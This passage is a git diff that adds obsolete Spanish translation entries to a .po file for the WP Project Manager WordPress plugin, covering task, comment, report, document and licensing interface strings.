+#~ msgid "You cannot create more than 4 actions!" +#~ msgstr "¡No se puede crear más de 4 acciones!" + +#~ msgid "Are you sure?" +#~ msgstr "¿Estás seguro?" + +#~ msgid "Completed by %s on %s" +#~ msgstr "Completado por %s el %s" + +#~ msgid "Add this task" +#~ msgstr "Agregar una actividad" + +#~ msgid "Edit this task list" +#~ msgstr "Editar Componente" + +#~ msgid "Delete this task list" +#~ msgstr "Borrar Componente" + +#~ msgid "Are you sure to delete this task list?" +#~ msgstr "¿Seguro de eliminar este componente?" + +#~ msgid "Add a task" +#~ msgstr "Agregar una actividad" + +#~ msgid "%d Comment" +#~ msgid_plural "%d Comments" +#~ msgstr[0] "%d Comentario" +#~ msgstr[1] "%d Comentarios" + +#~ msgid "Add this comment" +#~ msgstr "Añadir este comentario" + +#~ msgid "Saving..." +#~ msgstr "Guardar..." + +#~ msgid "By %s on %s at %s" +#~ msgstr "Por %s en %s el %s" + +#~ msgid "left" +#~ msgstr "queda" + +#~ msgid "late" +#~ msgstr "tarde" + +#~ msgid "Discussion" +#~ msgstr "Foro" + +#~ msgid "Status" +#~ msgstr "Estado" + +#~ msgid "Time Range" +#~ msgstr "Intervalo de tiempo" + +#~ msgid "All Projects" +#~ msgstr "Todos los proyectos" + +#~ msgid "Select a Co-Worker" +#~ msgstr "Seleccione un Colaborador" + +#~ msgid "All Co-Workers" +#~ msgstr "Compañeros de trabajo" + +#~ msgid "All Status" +#~ msgstr "Todos los Estados" + +#~ msgid "Inactive" +#~ msgstr "Inactivo" + +#~ msgid "Yearly" +#~ msgstr "Anual" + +#~ msgid "Monthly" +#~ msgstr "Mensual" + +#~ msgid "Weekly" +#~ msgstr "Semanal" + +#~ msgid "From" +#~ msgstr "Desde" + +#~ msgid "To" +#~ msgstr "Hasta" + +#~ msgid "Generate Report" +#~ msgstr "Generar informe" + +#~ msgid "Export to CSV" +#~ msgstr "Exportar a CSV" + +#~ msgid "Server environment details (PHP, MySQL, server, WordPress versions)" +#~ msgstr "" +#~ "Entorno del servidor (Versiones del PHP, MySQL, Servidor, WordPress)" + +#~ msgid "Number of users in your site" +#~ msgstr "Número de usuarios del Portal" + +#~ msgid "Site language" +#~ msgstr "Lenguaje del sitio" + +#~ msgid "Number of active and inactive plugins" +#~ msgstr "Número de plugins activos e inactivos" + +#~ msgid "Site name and url" +#~ msgstr "Nombre del portal y URL" + +#~ msgid "Your name and email address" +#~ msgstr "Tu nombre y correo electrónico" + +#~ msgid "what we collect" +#~ msgstr "qué recogemos" + +#~ msgid "No sensitive data is tracked." +#~ msgstr "No se da seguimiento a datos sensibles." + +#~ msgid "Allow" +#~ msgstr "Permitir" + +#~ msgid "No thanks" +#~ msgstr "No, gracias" + +#~ msgid "Once Weekly" +#~ msgstr "Una vez a la semana" + +#~ msgid "I couldn't understand how to make it work" +#~ msgstr "No pudé entender cómo hacer que funcione" + +#~ msgid "Would you like us to assist you?" +#~ msgstr "¿Deseas asistencia?" + +#~ msgid "I found a better plugin" +#~ msgstr "Encontré un mejor plugin" + +#~ msgid "Which plugin?" +#~ msgstr "¿Que plugin?" + +#~ msgid "" +#~ "The plugin is great, but I need specific feature that you don't support" +#~ msgstr "" +#~ "El plugin es bueno, pero necesito características específicas que no " +#~ "tienen" + +#~ msgid "Could you tell us more about that feature?" +#~ msgstr "¿Podrías decirnos más acerca de esa característica?" + +#~ msgid "The plugin is not working" +#~ msgstr "El plugin no funciona" + +#~ msgid "Could you tell us a bit more whats not working?" +#~ msgstr "¿Podrías decirnos qué no funciona?" + +#~ msgid "It's not what I was looking for" +#~ msgstr "No es lo que busco" + +#~ msgid "The plugin didn't work as expected" +#~ msgstr "El plugin no funcionó como se esperaba" + +#~ msgid "What did you expect?" +#~ msgstr "¿Qué esperabas?" + +#~ msgid "Other" +#~ msgstr "Otro" + +#~ msgid "Could you tell us a bit more?" +#~ msgstr "¿Podrías contarnos un poco más?" + +#~ msgid "If you have a moment, please let us know why you are deactivating:" +#~ msgstr "" +#~ "Si tienes un momento, por favor, háganoslo saber por qué se está " +#~ "desactivando:" + +#~ msgid "I rather wouldn't say" +#~ msgstr "Prefiero no decirlo" + +#~ msgid "Submit & Deactivate" +#~ msgstr "Enviar y desactivar" + +#~ msgid "Install Now" +#~ msgstr "Instalar ahora" + +#~ msgid "Dismiss this notice." +#~ msgstr "Descartar este aviso." + +#~ msgid "You don't have permission to install the plugins" +#~ msgstr "No tienes permiso para instalar los plugins" + +#~ msgid "Choose File" +#~ msgstr "Elija Archivo" + +#~ msgid "discussion" +#~ msgstr "comentarios" + +#~ msgid "Documents & Files" +#~ msgstr "Documentos y Archivos" + +#~ msgid "" +#~ "Access all the files from all discussions in one place. Store your " +#~ "project related files, docs, images or any other files on-site. Makes " +#~ "sharing and storing easy and convenient, plus you can add privacy here " +#~ "too." +#~ msgstr "" +#~ "Ten acceso a todos los archivos de todos los comentarios en un lugar. " +#~ "Almacena los archivos, docs, imágenes o cualquier archivo de los " +#~ "proyectos o planes en un sitio. Comparte, almacena y define su privacidad." + +#~ msgid "Benefits of Documents" +#~ msgstr "Ventajas de documentos" + +#~ msgid "Integrate easily with projects or tasks." +#~ msgstr "Se integran fácilmente con proyectos o actividades." + +#~ msgid "Shared storage keeps all data secure." +#~ msgstr "Almacenamiento compartido mantiene los datos seguros." + +#~ msgid "File sharing privacy." +#~ msgstr "Privacidad de uso compartido de archivos." + +#~ msgid "Date" +#~ msgstr "Fecha" + +#~ msgid "New task has been completed" +#~ msgstr "Nueva actividad se ha completado" + +#~ msgid "Author:" +#~ msgstr "Autor:" + +#~ msgid "Permalink:" +#~ msgstr "Enlace permanente:" + +#~ msgid "Comment link" +#~ msgstr "Enlace del comentario" + +#~ msgid "Comment:" +#~ msgstr "Comentario:" + +#~ msgid "You are assigned to a project update \"%s\" by %s." +#~ msgstr "Estás asignado a un proyecto actualizado \"%s\" por %s." + +#~ msgid "Attached to %s by %s" +#~ msgstr "Adjuto a %s por %s" + +#~ msgid "Assign User" +#~ msgstr "Asignar colaborador" + +#~ msgid "No Man’s Sky" +#~ msgstr "Terreno de nadie" + +#~ msgid "Make public" +#~ msgstr "Hacer público" + +#~ msgid "Edit Task Title" +#~ msgstr "Editar título de la actividad" + +#~ msgid "Edit Task Description" +#~ msgstr "Editar descripción de la actividad" + +#~ msgid "No completed tasks." +#~ msgstr "No hay actividades completadas." + +#~ msgid "Edit this List" +#~ msgstr "Editar Componente" + +#~ msgid "Lists" +#~ msgstr "Listas" + +#~ msgid "Select Task List" +#~ msgstr "Seleccione el componente" + +#~ msgid "By %s on %s" +#~ msgstr "Por %s en %s" + +#~ msgid "Are you sure to delete this message?" +#~ msgstr "¿Estás seguro que quieres eliminar este mensaje?" + +#~ msgid "Error: Message not found" +#~ msgstr "Error: Mesaje no encontrado" + +#~ msgid "You do not have permission to access this page." +#~ msgstr "No tienes permiso para acceder a esta página." + +#~ msgid "No comments found." +#~ msgstr "No se encontraron comentarios." + +#~ msgid "Error: Project not found" +#~ msgstr "Error: Proyecto no encontrado" + +#~ msgid "Error: Permission denied" +#~ msgstr "Error: Permiso denagado" + +#~ msgid "Filter" +#~ msgstr "Filtrar" + +#~ msgid "Active %d" +#~ msgstr "Activo %d" + +#~ msgid "Completed %d" +#~ msgstr "Completado %d" + +#~ msgctxt "taxonomy general name" +#~ msgid "Project Categories" +#~ msgstr "Categorías de planes/proyectos" + +#~ msgctxt "taxonomy singular name" +#~ msgid "Location" +#~ msgstr "Localización" + +#~ msgctxt "Discussion" +#~ msgid "Discussion" +#~ msgid_plural "Discussions" +#~ msgstr[0] "Foro" +#~ msgstr[1] "Foros" + +#~ msgctxt "Task" +#~ msgid "Task" +#~ msgid_plural "Tasks" +#~ msgstr[0] "Tarea" +#~ msgstr[1] "Tareas" + +#~ msgctxt "Single project status" +#~ msgid "Completed" +#~ msgstr "Completado" + +#~ msgid "1 Comment" +#~ msgid_plural "%d Comments" +#~ msgstr[0] "1 Comentario" +#~ msgstr[1] "1 Comentario" + +#~ msgid "%s Task" +#~ msgid_plural "%s Tasks" +#~ msgstr[0] "%s Tarea" +#~ msgstr[1] "%s Tarea" + +#~ msgid "Agregar una nueva tarea" +#~ msgstr "Agregar una nueva actividad" + +#~ msgid "Listas de tareas" +#~ msgstr "Componentes" + +#~ msgid "" +#~ "Puede enumerar todas sus tareas en una sola discusión utilizando una " +#~ "lista de tareas. Utilice estas listas para dividir un proyecto en varios " +#~ "sectores, asignar compañeros de trabajo y verificar el progreso." +#~ msgstr "" +#~ "Puede enumerar todas sus tareas en una sola discusión utilizando una " +#~ "lista de tareas. Utilice estas listas para dividir un proyecto en varios " +#~ "sectores, asignar compañeros de trabajo y verificar el progreso." + +#~ msgid "¿Cuándo usar listas de tareas?" +#~ msgstr "¿Cuándo usar Componentes?" + +#~ msgid "Tareas" +#~ msgstr "Actividades" + +#~ msgid "Hitos" +#~ msgstr "Hitos" + +#~ msgid "Cuándo usar Milestones?" +#~ msgstr "¿Cuándo usar Hitos?" + +#~ msgid "Agregue detalles adicionales sobre esta tarea (opcional)" +#~ msgstr "Agregue detalles adicionales sobre esta actividad (opcional)" + +#~ msgid "Nombre de la lista de tareas" +#~ msgstr "Nombre del Componente" + +#~ msgid "Detalles de la lista de tareas" +#~ msgstr "Detalles de la lista de tareas" + +#~ msgid "- Hito -" +#~ msgstr "- Hito -" + +#~ msgid "Employee New Task" +#~ msgstr "Nueva Actividad del empleado" + +#~ msgid "Text content is required." +#~ msgstr "Contenido del texto requerido." + +#~ msgid "Department" +#~ msgstr "Departamento" + +#~ msgid "Assign co-worker from departments" +#~ msgstr "Asignar colaborador desde departamentos" + +#~ msgid "Task Title" +#~ msgstr "Título de actividad" + +#~ msgid "Task Content" +#~ msgstr "Contenido de la actividad" + +#~ msgid "Private" +#~ msgstr "Private" + +#~ msgid "Assign New Task" +#~ msgstr "Asignar actividad nueva" + +#~ msgid "Re-opened to-do" +#~ msgstr "Re-abrir Tarea" + +#~ msgid "General" +#~ msgstr "General" + +#~ msgid "To-do List Style" +#~ msgstr "Estilo de lista de tareas" + +#~ msgid "Invalid project id" +#~ msgstr "Id de Proyecto no válido" + +#~ msgid "Co-worker" +#~ msgstr "Co-trabajador" + +#~ msgid "Todo list name is required." +#~ msgstr "Se requiere nombre de la Actividad." + +#~ msgid "A new todo list has been created successfully." +#~ msgstr "Se creó nueva lista de tareas correctamente." + +#~ msgid "No user found!" +#~ msgstr "Usuario no encontrado!" + +#~ msgid "[%s] Updated Project Invitation: %s" +#~ msgstr "[%s] Invitación a proyecto actualizado: %s" + +#~ msgid "To-do Lists" +#~ msgstr "Listas de tareas" + +#~ msgid "Add a new to-do" +#~ msgstr "Añadir una nueva Tarea" + +#~ msgid "Due date" +#~ msgstr "Fecha límite" + +#~ msgid "To-Do Lists" +#~ msgstr "Las listas de tareas pendientes" + +#~ msgid "Add New To-do List" +#~ msgstr "Agregar nueva lista de tareas" + +#~ msgid "No Task Found" +#~ msgstr "No se encontraron Tareas" + +#~ msgid "" +#~ "Want to help make WP Project Manager even more awesome? " +#~ "Allow weDevs to collect non-sensitive diagnostic data and usage " +#~ "information. Enjoy 15% discount on upgrades and add-on " +#~ "purchase." +#~ msgstr "" +#~ "¿Quieres ayudar a hacer WP Project Manager más " +#~ "impresionante? Permite a weDevs recoger información no confidencial de " +#~ "los datos y el uso, obtén 15% de descuento en " +#~ "actualizaciones y complementos." + +#~ msgid "Sorry! you are not assigned in this project" +#~ msgstr "¡Lo sentimos! No se le asigno en este proyecto" + +#~ msgid "Sorry! you are not assinged in this project" +#~ msgstr "¡Lo sentimos! Usted no está asignado en este proyecto" + +#~ msgid "Sorry! you do not have persmission to view this todo list" +#~ msgstr "" +#~ "¡Lo sentimos! No tienes permisos para ver esta lista de tareas pendientes" + +#~ msgid "Task List Name Required" +#~ msgstr "Se requiere un nombre de lista de tareas" + +#~ msgid "Invalid project id." +#~ msgstr "Id de proyecto invalido." + +#~ msgid "Invalid list id" +#~ msgstr "Id. de lista no válido" + +#~ msgid "Project Name Required" +#~ msgstr "Se requiere un nombre de proyecto" + +#~ msgid "Sorry! you do not have permission to view this todo list" +#~ msgstr "" +#~ "¡Lo sentimos! No tiene permiso para crear una lista de tareas pendientes" + +#~ msgid "Task Name Required" +#~ msgstr "Se requiere un nombre de tarea" + +#~ msgid "Select co-workers" +#~ msgstr "Seleccionar colaboradores" + +#~ msgid "To-do list" +#~ msgstr "Lista de Tareas" + +#~ msgid "To-do" +#~ msgstr "Por hacer" + +#~ msgid "New Todo List" +#~ msgstr "Nueva Lista de Tareas" + +#~ msgid "Update Todo List" +#~ msgstr "Actualizar Lista de Tareas" + +#~ msgid "Add this to-do" +#~ msgstr "Añadir esta Tarea" + +#~ msgid "Start date" +#~ msgstr "Fecha de inicio" + +#~ msgid "To-do list name" +#~ msgstr "Nombre de la lista de tareas pendientes" + +#~ msgid "To-do list detail" +#~ msgstr "Detalle Lista de tareas" + +#~ msgid "%d Comments" +#~ msgstr "%d Comentarios" + +#~ msgid "Update comment" +#~ msgstr "Actuializar comentario" + +#~ msgid "Edit milestone" +#~ msgstr "Editar meta" + +#~ msgid "Mark un-complete" +#~ msgstr "Marcar como inclompleto" + +#~ msgid "To-do List" +#~ msgstr "Lista de Tareas" + +#~ msgid "--Select--" +#~ msgstr "--Seleccione--" + +#~ msgid "This feature is only available in the project manager pro Version" +#~ msgstr "" +#~ "Esta característica sólo está disponible en el gestor de proyectos " +#~ "versión pro" + +#~ msgid "-Select-" +#~ msgstr "-Seleccionar-" + +#~ msgid "To Do Lists" +#~ msgstr "Listas de tareas" + +#~ msgid "Canel" +#~ msgstr "Cancelar" + +#~ msgid "thread" +#~ msgstr "hilo" + +#~ msgid "ADD NEW DISCUSSION" +#~ msgstr "AGREGAR NUEVA DISCUCIÓN" + +#~ msgid "Completed By" +#~ msgstr "Completado por" + +#~ msgid "Hi! " +#~ msgstr "Hola! " + +#~ msgid "NEW COMMENT" +#~ msgstr "NUEVO COMENTARIO" + +#~ msgid "Author : " +#~ msgstr "Autor : " + +#~ msgid "Comment : " +#~ msgstr "Comentario : " + +#~ msgid "NEW MESSAGE" +#~ msgstr "NUEVO MENSAJE" + +#~ msgid "Title " +#~ msgstr "Título " + +#~ msgid "Message " +#~ msgstr "Mensaje " + +#~ msgid "NEW PROJECT" +#~ msgstr "NUEVO PROYECTO" + +#~ msgid "Due Date " +#~ msgstr "Fecha de vencimiento " + +#~ msgid "UPDATE COMMENT" +#~ msgstr "COMENTARIO ACTUALIZADO" + +#~ msgid "UPDATE PROJECT" +#~ msgstr "ACTUALIZAR PROYECTO" + +#~ msgid "Discuss this to-do list" +#~ msgstr "Discutir esta Lista de Tareas" + +#~ msgid "Back to to-do lists" +#~ msgstr "Regresar a las listas de tareas" + +#~ msgid " Comment" +#~ msgstr " Comentario" + +#~ msgid "One Comment" +#~ msgstr "Un Comentario" + +#~ msgid "This action has been disabled by the administrator." +#~ msgstr "Esta acción la deshabilitó el administrador." + +#~ msgid "Slow down cowboy, no need to check for new mails so often!" +#~ msgstr "" +#~ "¡Tranquilo, campeón! ¡No hace falta comprobar el correo tan a menudo!" + +#~ msgid "There doesn’t seem to be any new mail." +#~ msgstr "Parece que no hay ningún correo electrónico nuevo." + +#~ msgid "Author is %s" +#~ msgstr "El autor es %s" + +#~ msgid "Posted title:" +#~ msgstr "Titulo publicado:" + +#~ msgid "Oops: %s" +#~ msgstr "Oops: %s" + +#~ msgid "Mission complete. Message %s deleted." +#~ msgstr "Misión cumplida. Mensaje %s borrado." + +#~ msgid "No project found !" +#~ msgstr "Ningún proyecto encontrado !" + +#~ msgid "Project: " +#~ msgstr "Proyecto: " + +#~ msgid "Task List: " +#~ msgstr "Lista de tareas: " + +#~ msgid "Task: " +#~ msgstr "Tarea: " + +#~ msgid "Message: " +#~ msgstr "Mensaje: " + +#~ msgid "Milestone: " +#~ msgstr "Hito: " + +#~ msgid "No item found !" +#~ msgstr "No se ha encontrado ningún artículo !" + +#~ msgid "[%s] - Project Manager Daily Digest (%s)" +#~ msgstr "[%s] - Resumen Diario del Gerente del Proyecto (%s)" + +#~ msgid "Project Daily Digest" +#~ msgstr "Resumen diario de proyectos" + +#~ msgid "Project items due or added or completed in the last 24 hours" +#~ msgstr "" +#~ "Los elementos de proyecto pendientes o agregados o completados en las " +#~ "últimas 24 horas" + +#~ msgid "This is an automated email from %s, powered by %s." +#~ msgstr "Este es un correo electrónico automático de %s, alimentado por %s." + +#~ msgid "New to-do items:" +#~ msgstr "Nuevos elementos:" + +#~ msgid "Completed to-do items:" +#~ msgstr "Los elementos de tareas completadas:" + +#~ msgid "Due to-do items:" +#~ msgstr "Artículos pendientes:" + +#~ msgid "New milestones:" +#~ msgstr "Nuevos hitos:" + +#~ msgid "(Completed by %s)" +#~ msgstr "(completado por %s)" + +#~ msgid "Documents" +#~ msgstr "Documentos" + +#~ msgid "Add Document" +#~ msgstr "Agregar documento" + +#~ msgid "Add New Document" +#~ msgstr "Agregar nuevo documento" + +#~ msgid "Edit Document" +#~ msgstr "Editar documento" + +#~ msgid "New Document" +#~ msgstr "Nuevo documento" + +#~ msgid "View Document" +#~ msgstr "Ver documento" + +#~ msgid "Search Documents" +#~ msgstr "Búsqueda de documentos" + +#~ msgid "No Documents Found" +#~ msgstr "No se han encontrado documentos" + +#~ msgid "No Documentst Found in Trash" +#~ msgstr "No se encontraron Documentos en la Papelera" + +#~ msgid "Parent Document" +#~ msgstr "Documento primario" + +#~ msgid "Create a folder" +#~ msgstr "Crear una carpeta" + +#~ msgid "Upload a file" +#~ msgstr "Cargar un archivo" + +#~ msgid "Create a doc" +#~ msgstr "Crear un doc" + +#~ msgid "Create a document" +#~ msgstr "Crear un documento" + +#~ msgid "Back to previous" +#~ msgstr "Volver a la anterior" + +#~ msgid "Make files private." +#~ msgstr "Hacer los archivos privados." + +#~ msgid "Folder or Documents not found. Please create new folder or document." +#~ msgstr "" +#~ "No se ha encontrado la carpeta o los documentos. Cree una nueva carpeta o " +#~ "documento." + +#~ msgid "Link for Docs" +#~ msgstr "Enlace a GOOGLE DOCS" + +#~ msgid "Download" +#~ msgstr "Descargar" + +#~ msgid "Note" +#~ msgstr "Nota" + +#~ msgid "View Current Post" +#~ msgstr "Ver post actual" + +#~ msgid "View Online" +#~ msgstr "Ver Online" + +#~ msgid " Load More Files" +#~ msgstr " Cargar más archivos" + +#~ msgid "Update Doc" +#~ msgstr "Actualizar el Doc" + +#~ msgid "Cancel Edit" +#~ msgstr "Cancelar edición" + +#~ msgid "Revisions" +#~ msgstr "Revisiones" + +#~ msgid "No Revision" +#~ msgstr "No hay ninguna revisión" + +#~ msgid "Are you sure to delete this folder?" +#~ msgstr "¿Está seguro de que desea eliminar esta carpeta?" + +#~ msgid "Are you sure to change privacy for this file or folder?" +#~ msgstr "" +#~ "Está seguro de que desea cambiar la privacidad de este archivo o carpeta?" + +#~ msgid "Attached to " +#~ msgstr "Adjunto a " + +#~ msgid " by " +#~ msgstr " por " + +#~ msgid "Pleae choose any file first" +#~ msgstr "Por favor seleccione un archivo primero" + +#~ msgid "Folder name already exist! Please check again." +#~ msgstr "El nombre de la carpeta ya existe! Compruebe de nuevo." + +#~ msgid "You have not access to creat folder." +#~ msgstr "No tienes acceso para crear carpetas." + +#~ msgid "There is an error while delete, please try again!" +#~ msgstr "Se ha producido un error al eliminar, por favor inténtelo de nuevo!" + +#~ msgid "Permission Problem" +#~ msgstr "Problema de permisos" + +#~ msgid "[%s][%s] Mentioned on comment: %s" +#~ msgstr "[%s][%s] Mencionado en un comentario: %s" + +#~ msgid "Select a milestone" +#~ msgstr "Seleccione un hito" + +#~ msgid "No milestone on this Project" +#~ msgstr "Ningún hito en este proyecto" + +#~ msgid "Overdue Task" +#~ msgstr "Tarea retrasada" + +#~ msgid "All Project" +#~ msgstr "Todos los proyectos" + +#~ msgid "All Coworker" +#~ msgstr "Todol los colaboradores" + +#~ msgid "User Activity Report" +#~ msgstr "Informe de actividad del usuario" + +#~ msgid " Rnage " +#~ msgstr " Rango " + +#~ msgid "All Task by Project" +#~ msgstr "Todas las tareas por proyecto" + +#~ msgid "Task Status : All Task" +#~ msgstr "El estado de la tarea : Todas las tareas" + +#~ msgid "All Task by Milestone" +#~ msgstr "Todas las tareas por hito" + +#~ msgid "All Unassigned Task" +#~ msgstr "Todas las tareas sin asignar" + +#~ msgid "Not assigned" +#~ msgstr "No asignada" + +#~ msgid "Not set" +#~ msgstr "No definido" + +#~ msgid "No due date" +#~ msgstr "Sin fecha de vencimiento" + +#~ msgid "Report Title : " +#~ msgstr "Título del informe: " + +#~ msgid "Project for : " +#~ msgstr "Proyecto de : " + +#~ msgid "Co Worker : " +#~ msgstr "Co trabajador : " + +#~ msgid "Project : " +#~ msgstr "Proyecto : " + +#~ msgid "Task Name" +#~ msgstr "Nombre de tarea" + +#~ msgid "Assign to" +#~ msgstr "Asignar a" + +#~ msgid "Assign date" +#~ msgstr "Fecha de asignación" + +#~ msgid "Complete Date" +#~ msgstr "Fecha de completado" + +#~ msgid "Year" +#~ msgstr "Año" + +#~ msgid "Month" +#~ msgstr "Mes" + +#~ msgid "Week" +#~ msgstr "Semana" + +#~ msgid "Assign To" +#~ msgstr "Asignar a" + +#~ msgid "Incompleted" +#~ msgstr "Incompleto" + +#~ msgid "Current" +#~ msgstr "Actual" + +#~ msgid "Outstanding" +#~ msgstr "Excepcional" + +#~ msgid "No Data Found!" +#~ msgstr "No se han encontrado datos!" + +#~ msgid "" +#~ "Please enter your WP Project Manager " +#~ "plugin license key to get regular update and support." +#~ msgstr "" +#~ "Por favor ingresa tu clave de licencia del " +#~ "AppyProject Manager para obtener apoyo y actualización " +#~ "regular." + +#~ msgid "Please activate your copy" +#~ msgstr "Por favor active su copia" + +#~ msgid "Empty license key" +#~ msgstr "Llave de licencia vacía" + +#~ msgid "Settings Saved" +#~ msgstr "Configuración guardada" + +#~ msgid "E-mail Address" +#~ msgstr "Dirección de e-mail" + +#~ msgid "Enter your purchase Email address" +#~ msgstr "Introduzca su dirección de correo electrónico de compra" + +#~ msgid "License Key" +#~ msgstr "Clave de licencia" + +#~ msgid "has been expired %s ago" +#~ msgstr "ha expirado hace %s" + +#~ msgid "will expire in %s" +#~ msgstr "caducará en %s" + +#~ msgid "Validity:" +#~ msgstr "Validez:" + +#~ msgid "Renew License" +#~ msgstr "Renovar la licencia" + +#~ msgid "Plugin is activated" +#~ msgstr "Plugin está activado" + +#~ msgid "Delete License" +#~ msgstr "Eliminar licencia" + +#~ msgid "Your Project Manager Pro is almost ready!" +#~ msgstr "El gestor de planes casi está listo" + +#~ msgid "Error: Nonce verification failed" +#~ msgstr "No se pudo verificar el fallo." + +#~ msgid "Search..." +#~ msgstr "Buscar..." + +#~ msgid "Task start date" +#~ msgstr "La fecha de inicio de la tarea" + +#~ msgid "Enable task start date field" +#~ msgstr "Habilitar el campo de fecha de inicio de la tarea" + +#~ msgid "Logo" +#~ msgstr "Logo" + +#~ msgid "Daily Digest" +#~ msgstr "Resumen diario" + +#~ msgid "Enable Daily Digest" +#~ msgstr "Habilitar Resumen Diario" + +#~ msgid "Client" +#~ msgstr "Cliente" + +#~ msgid "My Tasks %s" +#~ msgstr "Mis tareas %s" + +#~ msgid "My Calender" +#~ msgstr "Mi calendario" + +#~ msgid "Page Settings" +#~ msgstr "Ajustes de página" + +#~ msgid "My Task" +#~ msgstr "Mi tarea" + +#~ msgid "Sorry, the main plugin is not installed" +#~ msgstr "Lo sentimos, el plugin principal no está instalado" + +#~ msgid "%s version %s is now available! %s." +#~ msgstr "%s La versión %s ya está disponible! %s." + +#~ msgid "Enable project manager Daily Digest" +#~ msgstr "Habilitar Resumen Diario del administrador de proyectos" + +#~ msgid "Email Notification" +#~ msgstr "Notificación de correo electrónico" + +#~ msgid "Enable project manager email" +#~ msgstr "Habilitar el correo electrónico del director de proyecto" + +#~ msgid "-Select Project" +#~ msgstr "-Seleccione un proyecto" + +#~ msgid "File is private. Click to make file public." +#~ msgstr "" +#~ "Archivo es privado. Haga clic en esta opción para convertir el archivo a " +#~ "público." + +#~ msgid "File is public. Click to make file private." +#~ msgstr "" +#~ "Archivo es público. Haga clic en esta opción para convertir el archivo en " +#~ "privado." + +#~ msgid "No Progress Found!" +#~ msgstr "Progreso No encontrado!" + +#~ msgid "Project Report" +#~ msgstr "Informe de proyecto" + +#~ msgid "Advance Search Project" +#~ msgstr "Búsqueda Avanzada de Proyectos" + +#~ msgid "Advance Report Form" +#~ msgstr "Formulario de informe de avance" + +#~ msgid "Please select an filter!" +#~ msgstr "Seleccione un filtro!" + +#~ msgid "Back to Report Dashboard" +#~ msgstr "Volver al panel de informe" + +#~ msgid "Advanced Report" +#~ msgstr "Informe avanzado" + +#~ msgid "Overdue Tasks" +#~ msgstr "Tareas atrasadas" + +#~ msgid "" +#~ "Generate a report based on tasks which are " +#~ "pending beyond due dates." +#~ msgstr "" +#~ "Generar un informe basado en Tareas que esten " +#~ "pendientes más allá de las fechas de vencimiento." + +#~ msgid "Complete Task" +#~ msgstr "Completar tarea" + +#~ msgid "" +#~ "Generate a report from tasks which were " +#~ "completed." +#~ msgstr "" +#~ "Generar un informe desde Tareas que este " +#~ "completado." + +#~ msgid "User Activities" +#~ msgstr "Las actividades de los usuarios" + +#~ msgid "" +#~ "Create a report based on an employee or all employee " +#~ "activity on tasks." +#~ msgstr "" +#~ "Crear un informe a partir de un empleado o todos los " +#~ "trabajadores Actividad en Tareas." + +#~ msgid "Project Task" +#~ msgstr "Tarea de proyecto" + +#~ msgid "" +#~ "Find out all tasks from your Project." +#~ msgstr "" +#~ "Descubra Todas las tareas de su Proyecto." + +#~ msgid "Task by Milestone" +#~ msgstr "Tarea por hito" + +#~ msgid "" +#~ "Browse tasks reports according to Milestones (CSV exportable)." +#~ msgstr "" +#~ "Busque Tareas informes según Hitos " +#~ "(CSV exportables)." + +#~ msgid "" +#~ "Find out all tasks whichwere not assigned to any employee." +#~ msgstr "" +#~ "Descubra Todas las tareas que no fueron " +#~ "Asignadas a cualquier empleado." + +#~ msgid "Filter Report" +#~ msgstr "Filtrar informe" + +#~ msgid "Coworker" +#~ msgstr "Compañero de trabajo" + +#~ msgid "Total Result" +#~ msgstr "Resultado total" + +#~ msgid "Assigned to" +#~ msgstr "Asignada a" + +#~ msgid "Assigned Date" +#~ msgstr "Fecha asignada" + +#~ msgid "Time" +#~ msgstr "Tiempo" + +#~ msgid "No Data Found, Please search again!" +#~ msgstr "No se han encontrado datos, busque de nuevo!" + +#~ msgid "Report for" +#~ msgstr "Informe para" + +#~ msgid "All Task" +#~ msgstr "Todas las tareas" + +#~ msgid "All Complete Task" +#~ msgstr "Toda tarea completa" + +#~ msgid "Run Report" +#~ msgstr "Ejecutar informe" + +#~ msgid "Selec a project" +#~ msgstr "Selección de un proyecto" + +#~ msgid "Assigned To" +#~ msgstr "Asignado a" + +#~ msgid "The user could not be found!" +#~ msgstr "No se encontró el usuario!" + +#~ msgid "Select an User" +#~ msgstr "Seleccione un usuario" + +#~ msgid "Unable update, please check your permission!!" +#~ msgstr "No se puede actualizar, compruebe su permiso!!" + +#~ msgid "Assign Task" +#~ msgstr "Asignar tarea" + +#~ msgid "At a glance" +#~ msgstr "De un vistazo" + +#~ msgid "Sorry! you do no have permission to view this comment" +#~ msgstr "¡Lo lamento! no tienes permiso para ver este comentario" + +#~ msgid "Sorry! you do no have permission to view this todo list" +#~ msgstr "¡Lo lamento! no tienes permiso para ver esta lista de tareas" + +#~ msgid "file size in Megabyte. e.g: 2" +#~ msgstr "tamaño de archivos en Megabyte. Ej. 2" + +#~ msgid "New Project Subject" +#~ msgstr "Asunto de Nuevo Proyecto" + +#~ msgid "New Project Body" +#~ msgstr "Cuerpo de Nuevo Proyecto" + +#~ msgid "New Message Subject" +#~ msgstr "Asundo de Nuevo Mensaje" + +#~ msgid "New Message Body" +#~ msgstr "Cuerpo de Nuevo Mensaje" + +#~ msgid "New Comment Subject" +#~ msgstr "Asunto de Nuevo Comentario" + +#~ msgid "Body" +#~ msgstr "Cuerpo" + +#~ msgid "New Assigned Task Subject" +#~ msgstr "Asunto de Nueva Tarea Asignada" + +#~ msgid "%d message" +#~ msgstr "%d mensaje" + +#~ msgid "%d to-do" +#~ msgstr "%d tareas" + +#~ msgid "%d comment" +#~ msgstr "%d comentarios" + +#~ msgid "%d file" +#~ msgstr "%d fichero" + +#~ msgid "%d milestone" +#~ msgstr "%d metas" + +#~ msgid "(Completed by %s on %s)" +#~ msgstr "(Completado por %s en %s)" + +#~ msgid "Add a to-do" +#~ msgstr "Añadir una Tarea" + +#~ msgid "Message details here" +#~ msgstr "Detalles de mesaje" + +#~ msgid "Details about milestone (optional)" +#~ msgstr "Detalles del Hito (opcional)" + +#~ msgid "Reopen" +#~ msgstr "Re-abrir" + +#~ msgid "" +#~ "Download or go to the discussion." +#~ msgstr "" +#~ "Descargar o ir a la Discución." + +#~ msgid "No Files Found!" +#~ msgstr "No se encontraron archivos" + +#~ msgid "Add New" +#~ msgstr "Añadir Nuevo" + +#~ msgid "No messages found! How about adding one?" +#~ msgstr "No se encontraron mensajes. ¿Qué tal si añades uno? " + +#~ msgid "← back" +#~ msgstr "← atrás" + +#~ msgid "No Milestone Found!" +#~ msgstr "No se encontraron Metas" + +#~ msgid "Add new milestone" +#~ msgstr "Añadir nueva meta" + +#~ msgid "Project Info" +#~ msgstr "Información de Proyecto" + +#~ msgid "Oh dear, no To-do list found!" +#~ msgstr "O no, no se encontraron Listas de Tareas" diff --git a/languages/wedevs-project-manager-fr_FR.po b/languages/wedevs-project-manager-fr_FR.po index 2ce658f66..990168f85 100644 --- 